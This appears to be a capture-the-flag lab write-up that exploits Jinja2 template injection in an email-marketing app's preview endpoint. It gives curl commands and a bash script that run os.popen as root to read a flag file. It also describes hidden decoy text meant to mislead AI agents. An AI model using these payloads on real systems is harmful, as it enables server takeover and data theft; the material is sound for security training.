← Back to Writeups
CUSTOMEasyWeb

Lab 225 — MailPulse — SSTI in Campaign Template Preview

XESXOR9/2/20264 min read
#web#custom#easy#campaign_preview_endpoint_abus#decoy_flag_recognition#jinja2_ssti_via_render_templat#rce_via_lipsum_globals_os_pope

Lab 225 — MailPulse — SSTI in Campaign Template Preview

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: campaign_preview_endpoint_abuse, decoy_flag_recognition, jinja2_ssti_via_render_template_string, rce_via_lipsum_globals_os_popen

Summary

Walkthrough of the CUSTOM Web Lab 225 — MailPulse — SSTI in Campaign Template Preview. Task: MailPulse email marketing platform (Flask/Jinja2) with campaign template preview endpoint that passes user input to render_template_string() without sandboxing. Solution: Inject {{lipsum.__globa

Description

MailPulse is an email marketing platform by PulseWave Technologies. Users can manage subscriber lists, design email campaign templates with dynamic personalization fields, track delivery analytics, and schedule campaign sends. The platform features a live template preview system that renders personalized content before sending.

Explore the application features and find a way to compromise the server. Pay attention to how dynamic content is rendered across the platform.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Flask/Jinja2 email marketing platform (MailPulse) with a campaign creation form that includes a "Preview" button. The preview endpoint at POST /campaigns/0/preview renders user-supplied template content via Jinja2's render_template_string() without any sandboxing or filtering, enabling SSTI to RCE to flag exfiltration from /root/flag.txt. The application runs as root.

Analysis

Reconnaissance

  • Stack: Flask, Jinja2, nginx/1.25.5, Python
  • Credentials: user@test.com / password123
  • Application sections: Dashboard (/), Subscribers (/subscribers), Campaigns (/campaigns), Analytics (/analytics), Settings (/settings) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy Flag (Honeypot)

Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments and invisible <div> elements with social engineering text designed to trick AI agents and automated scanners into stopping early. This is NOT the real flag — always verify through actual exploitation.

Vulnerable Endpoint

The Campaigns section at /campaigns/new contains a campaign creation form with fields:

  • name — campaign name
  • sender_name — sender display name (hint: "Supports personalization variables")
  • sender_email — sender email
  • subject_line — email subject (hint: "Use personalization variables like {first_name}")
  • list_id — subscriber list selection
  • body_html — HTML email body (hint: "Available variables: {first_name}, {last_name}, {email}, {company}") ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The JavaScript "Preview" button sends a POST request to:

POST /campaigns/0/preview
Content-Type: multipart/form-data

subject_line=...&sender_name=...&sender_email=...&body_html=...

The server renders the template content using Jinja2's render_template_string() and returns JSON with the rendered HTML. Both subject_line and body_html fields are vulnerable to SSTI.

Root Cause

The Flask application passes user-supplied campaign template content directly to Jinja2's render_template_string() without any sandboxing or filtering. The lipsum built-in Jinja2 global provides access to Python's os module via __globals__, enabling full remote code execution. The application runs as root, so there are no filesystem permission barriers. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Login

bash
TARGET="https://ddfcd6b5-2b44-4ae6-843e-9d36fded4d9c.labs.hackadvisor.io"
curl -sk -c cookies.txt "$TARGET/login" > /dev/null
curl -sk -b cookies.txt -c cookies.txt -X POST "$TARGET/login" \
  -d "email=user@test.com&password=password123"

Step 2: Confirm SSTI

Submitted {{7*7}} as the body_html field in the preview request:

bash
curl -sk -b cookies.txt -X POST "$TARGET/campaigns/0/preview" \
  -F "subject_line=test" -F "sender_name=Test" \
  -F "sender_email=test@test.com" -F "body_html={{7*7}}"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response: The rendered body contained 49 — confirms Jinja2 SSTI.

Step 3: RCE via lipsum globals

Used the lipsum Jinja2 built-in to access Python's os module through __globals__:

bash
curl -sk -b cookies.txt -X POST "$TARGET/campaigns/0/preview" \
  -F "subject_line=test" -F "sender_name=Test" \
  -F "sender_email=test@test.com" \
  --form-string "body_html={{lipsum.__globals__['os'].popen('id').read()}}"

Response: uid=0(root) gid=0(root) groups=0(root) — running as root. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Find and Read the Flag

bash
# Find flag file
curl -sk -b cookies.txt -X POST "$TARGET/campaigns/0/preview" \
  -F "subject_line=test" -F "sender_name=Test" \
  -F "sender_email=test@test.com" \
  --form-string "body_html={{lipsum.__globals__['os'].popen('find / -name flag* -type f 2>/dev/null').read()}}"
# Output: /root/flag.txt

# Read flag
curl -sk -b cookies.txt -X POST "$TARGET/campaigns/0/preview" \
  -F "subject_line=test" -F "sender_name=Test" \
  -F "sender_email=test@test.com" \
  --form-string "body_html={{lipsum.__globals__['os'].popen('cat /root/flag.txt').read()}}"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response: FLAG{REDACTED}

Full Exploit Script

bash
#!/bin/bash
# MailPulse Lab 225 — Jinja2 SSTI exploit via lipsum.__globals__
TARGET="https://ddfcd6b5-2b44-4ae6-843e-9d36fded4d9c.labs.hackadvisor.io"

# Step 1: Login and get session cookie
curl -sk -c cookies.txt "$TARGET/login" > /dev/null
curl -sk -b cookies.txt -c cookies.txt -X POST "$TARGET/login" \
  -d "email=user@test.com&password=password123" > /dev/null

# Step 2: Exploit SSTI to read flag
curl -sk -b cookies.txt -X POST "$TARGET/campaigns/0/preview" \
  -F "subject_line=test" -F "sender_name=Test" \
  -F "sender_email=test@test.com" \
  --form-string "body_html={{lipsum.__globals__['os'].popen('cat /root/flag.txt').read()}}"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering campaign_preview_endpoint_abuse, decoy_flag_recognition, jinja2_ssti_via_render_template_string, rce_via_lipsum_globals_os_popen was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-05 • CUSTOM • Lab 225 — MailPulse — SSTI in Campaign Template Preview • Difficulty: Easy